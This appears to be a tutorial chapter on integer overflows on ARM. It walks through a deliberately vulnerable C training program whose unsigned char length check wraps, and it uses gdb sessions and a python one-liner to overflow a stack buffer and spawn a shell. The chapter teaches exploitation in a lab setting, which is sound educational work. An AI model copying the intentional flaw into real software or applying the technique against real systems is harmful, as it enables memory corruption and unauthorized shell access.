Integer Overflows on ARM
Last updated
Last updated
In this chapter, we will be looking at a new software vulnerability called Integer Overflows. Trust me this won’t be a long one like the ROP chain.
So what is an integer overflow??
We are familiar with buffer overflows but what is this integer overflow? Any ideas??
Simply put it’s a kind of arithmetic overflow that occurs when the result of an integer operation does not fit within the allocated memory space. Integer overflow alone doesn’t cause much concern But it can lead to other vulnerabilities like buffer overflows which can lead to severe security concerns. I think this is enough introduction Let’s move to the actual stuff
If you want to read more about this vulnerability and its impact etc. Go through these links
https://www.acunetix.com/blog/web-security-zone/what-is-integer-overflow/
https://www.securecoding.com/blog/integer-overflow-attack-and-prevention/
To understand this vulnerability in depth We need to refresh our memory with the c data types. So let’s quickly go into that.
Now take a look at the range columns. If you don’t know what this column depicts it shows the range of values that can be included in that data type.
Signed Types can include both positive and negative values but Unsigned Types can only include positive values.
For example,
If you look at the unsigned short int, it can hold only positive values and the range is 0 to 65535. So the minimum value it can hold is 0 and the maximum value it can hold is 65535.
So what do you think will happen when we add a value larger than 65535?
Let’s see an example with a value of maximum range first.
Analyzing the program, we can see that the variable is a short in with a value of 65535 which is the maximum value that a short int can hold. As expected the output of the program is 65535.
Now let’s add one to this value which will result in 65536 and this value is outside the range of the short int type.
Wow!! What just happened? As we know the value of the variable is 65536 but the result of the program is showing as Zero
And if you add one more it will result in one.
So what actually happened here?
To understand this concept well we can use a calculator, So open the calculator of your choice I will be using my windows calculator.
The size of an unsigned short int is 2 bytes, 16 bits to be precise. The maximum range of our short int is 65535. If you type this value in the decimal field of the calculator it will be 1111 1111 1111 1111 in binary which is exactly 16 bits.
So if we add one what will happen? Let’s try that
Of course, the value will be 65536 as this is our calculator. But it would have been zero if we were to compile this as a c program with an unsigned short int.
If you look closely at the binary that I highlighted, those 16 bits from the right are all zeros. And an additional 4 bits have been shown in the binary field. So the value 0001 0000 0000 0000 0000 is used to represent the value 65536 which is no longer 2 bytes (16 bits )in size. If this was a c program like before with unsigned short int, then the 16 bits from the right will be used to represent the value, and the result would be zero as the 16 bits in the binary from the right side represents zero (it would be zero in decimal too).
Let’s add one to it and see what happens.
The value becomes 65537. But if look closely at the last 16 bits from the right of the binary field it is showing as 0000 0000 0000 0001 (ignoring the first 4 bits) which represents one in decimal. This is the same value we got in our program when we added 2 to 65535.
To summarise what happened briefly is when we enter a value more than 65535 which is the maximum range of unsigned short int and size 2 bytes, it will overflow as we see in the binary field in the calculator and gets wrapped around as zero (last 16 bits from the right). As a result, the value becomes zero.
Now let’s take a look at a program for exploitation.
Check out this vulnerable program below.
#include <stdio.h> #include <string.h> #include <stdlib.h>
void check(char* password); void win() { printf(“Congrats You win you got a shell :) \n\n”); system(“/bin/sh”); }
int main(int argc, char* argv[]) {
if(argc!=2) { printf(“Provide me one arguement \n”); exit(0);
}
check(argv[1]); return 0;
}
void check(char* password) {
printf(“Welcome …Try getting a shell \n”); char buffer[10]; int user_win =0; unsigned char length = strlen(password); //vulnerability printf(“Length of your input is:%d \n”,length); if(length >= 4 && length <= 8)
{ strcpy(buffer,password); if (user_win == 0x42424242){ printf(“You won\n”); win(); }else{ printf(“You lost \n”); } } else{ printf(“Keep the data betweeen 4 and 8 \n”); } }
I’m using emulated ARM v6I by Azeria labs. You can download this VM from azerialabs.com .
gcc integeroverflow.c -o integeroverflow
Now let’s inspect the code for some understanding. There are three functions in the source. The “main” function is where the program starts and our program accepts one command line input.
The check has 3 variables.
char buffer[10]; int user_win =0; unsigned char length = strlen(password);
The buffer can accept up to 10 characters, the user_win variable has a default value of zero, and lastly, the variable “length” which is of type unsigned char which contains the length of our command-line input.
Then there is this function called win() which gives us a shell when invoked but this only gets invoked only if the value of user_win is 42424242.
void win() { printf(“Congrats You win you got a shell :) \n\n”); system(“/bin/sh”); }
The strcpy function only copies the value to the buffer if the length of the input is between four and eight characters.
if(length >= 4 && length <= 8)
{ strcpy(buffer,password); if (user_win == 0x42424242){ printf(“You won\n”); win(); }else{ printf(“You lost \n”); } } else{ printf(“Keep the data betweeen 4 and 8 \n”); }
Now, what’s our objective here ??
Yeah …As you have guessed we need to invoke the win function so that we can get the shell. For that to happen we need to change the value of user_win to 0x42424242 (“BBBB”).
But how can we do that?
You will be thinking of overflowing the buffer but to overflow the buffer we need to make use of the strcpy() function. The strcpy() function cannot be directly exploited in this case because of the if condition. Let’s see this.
It shows us the length of our input.As you can see here in this case it is 233 which is more than 4, as a result, the program shows the message “Keep the data between 4 and 8” and exits
If you contain the input between 4 and 8 characters then the program works .it will pass the if condition and uses the strcpy() function to copy the input to the buffer.
If you look now the program says “You lost”. If you don’t change the user_win variable to 0x42424242 the program will keep saying this message.
So how will we exploit this?
If you take a look at the length variable you can see something odd .it is using an unsigned char for storing the length of our input. The strlen() gets the length of the input and stores it into the unsigned char variable “length”.Then this variable is used to validate if an overflow has occurred or not
Now, Take a look at the range chart above. The range of unsigned char is 0 to 255. We can confirm this using the c program below.
Let’s add one to it.
Boom!!! it’s now zero. This happened because the value got overflown and wrapped around (Explained above)
Note: You will be thinking about why did I use an unsigned char for storing the length of the input it’s for the sake of the simplicity of explaining this.
So we need to chain this vulnerability in order to overflow the buffer and change the value of user_win variable to 0x42424242 to get the shell.
So let’s start
Firstly, we need to input more than 255 “A” s so that the input length that gets stored in the unsigned char “length” will get wrapped back to zero. Let’s try that
Firstly, we need to input more than 255 “A” s so that the input length that gets stored in the unsigned char “length” will get wrapped back to zero. Let’s try that, for this, I will be using python
Aha…As expected the length of the input is now zero as shown by the program. The number of characters we provided as input here is 256 “A”s. As this is outside the range of the unsigned char (Max range: 255) it will get wrapped back to zero.
This will help us to pass our if condition. To bypass the “ if condition” we need our input to be between 4 and 8. So let’s add 5 more characters to 256 A’s (261 A’s).
Now our length is 5 and we also bypassed the if condition. It appears like we have triggered the strcpy to copy the 261 characters to the buffer of size 10 bytes and overflown the buffer.
Let’s use gef to confirm this.
pi@raspberrypi:~/asm/integeroverflow $ gdb ./integeroverflow GNU gdb (Raspbian 7.7.1+dfsg-5+rpi1) 7.7.1 Copyright © 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type “show copying” and “show warranty” for details. This GDB was configured as “arm-linux-gnueabihf”. Type “show configuration” for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type “help”. Type “apropos word” to search for commands related to “word”… [*] No debugging session active GEF for linux ready, type `gef’ to start, `gef config’ to configure 56 commands loaded for GDB 7.7.1 using Python engine 2.7 [*] 4 commands could not be loaded, run `gef missing` to know why. Reading symbols from ./integeroverflow…(no debugging symbols found)…done. gef> r $(python -c ‘print “A” * 261’)
The pc also gets overwritten this is why we ended in a SIGSEGV.
Now we need to find where our user_win variable’s location So that we can overwrite the value of user_win with “BBBB” (42424242).
For this load the file into gdb again and do the disassembly of the check function using the disass command.
disass check
If you look closely at the disassembly at this point we can reference the “user_win” variable.
Look at the CMP which I highlighted, it is the same “if condition” we have seen in the source code. Try putting a breakpoint there and run gdb with the 261 A’s as input.
gef> b *0x00010600 Breakpoint 3 at 0x10600 gef> r $(python -c ‘print “A” * 261’) Starting program: /home/pi/asm/integeroverflow/integeroverflow $(python -c ‘print “A” * 261’) Welcome …Try getting a shell Length of your input is:5
Breakpoint 3, 0x00010600 in check ()
Now, r3 represents the user_win variable and currently holds the value 0x41414141. The default value of the user_win has been changed as a result of the buffer overflow which overflowed the contents in the stack with the user input (261 A’s ) and r2 contains the value 0x42424242 (BBBB) which is being compared with r3 . This is our “if condition” after the strcpy, if the user_win contains 0x42424242 we will get a shell.
The only thing left here to do is to find the position of the input which overwrites the user_win.To do this we can use a pattern. I will be using this pattern generator
Let’s run the binary using gdb and input this also don’t forget to put the breakpoint at the CMP instruction.
gef> b *0x00010600 Breakpoint 3 at 0x10600
gef> r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6
The breakpoint has hit. Now inspect the value in r3
Copy that value to the pattern generator for finding the offset.
So we found the offset. The character after the 12th one will overwrite the user_win variable. So we should put 4 B’s (“BBBB”) after the 12 characters in our input to overwrite the user_win, thus getting our wonderful shell.
So the exploit will be like this
pi@raspberrypi:~/asm/integeroverflow $ ./integeroverflow $(python -c ‘print “A” * 12 + “BBBB” + A * (261–12–4)’)
So The final moment of truth ….Let’s run the exploit
Hurray!!!!!!!!!!!!!!!!!!!!!!!
We got our shell…… :)
It overwrote the value of user_win variable with “BBBB” and gave us a shell.